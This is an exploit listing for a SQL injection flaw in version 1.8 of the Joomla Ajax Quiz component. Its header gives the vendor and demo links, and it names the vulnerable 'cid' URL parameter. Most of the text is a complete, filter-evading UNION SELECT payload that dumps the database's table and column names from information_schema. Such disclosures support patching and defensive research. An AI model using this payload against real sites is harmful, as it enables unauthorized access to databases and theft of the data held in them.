Joomla Ajax Quiz component version 1.8 suffers from a remote SQL injection vulnerability.
d4ed9a9f7d426040140918b7d30f0178# # # # #
# Exploit Title: Joomla! Component Ajax Quiz 1.8 - SQL Injection
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: http://webkul.com/
# Software Link: https://extensions.joomla.org/extensions/extension/living/education-a-culture/ajaxquiz/
# Demo: http://joomla30.webkul.com/ajaxquiz/
# Version: 1.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/index.php?option=com_ajaxquiz&view=ajaxquiz&cid=[SQL]
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# 60+union+select+(/*!00000SeLect*/(@x)/*!00000fRom*/(/*!00000select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!00000select*/(0)/*!00000from*/(information_schema.columns)/*!00000where*/(table_schema=database())and(0x00)in(@x:=/*!00000CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!00000CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number+1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z+1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x)--+-
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# Etc..
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